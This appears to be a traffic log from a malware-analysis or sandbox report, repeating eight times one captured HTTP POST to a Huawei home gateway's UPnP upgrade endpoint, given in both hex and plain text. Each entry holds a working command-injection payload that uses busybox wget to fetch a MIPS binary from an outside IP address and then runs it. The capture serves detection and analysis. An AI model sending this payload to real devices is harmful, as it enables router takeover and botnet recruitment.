Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 38 35 2e 32 35 34 2e 33 37 2e 32 34 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 185.254.37.243 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |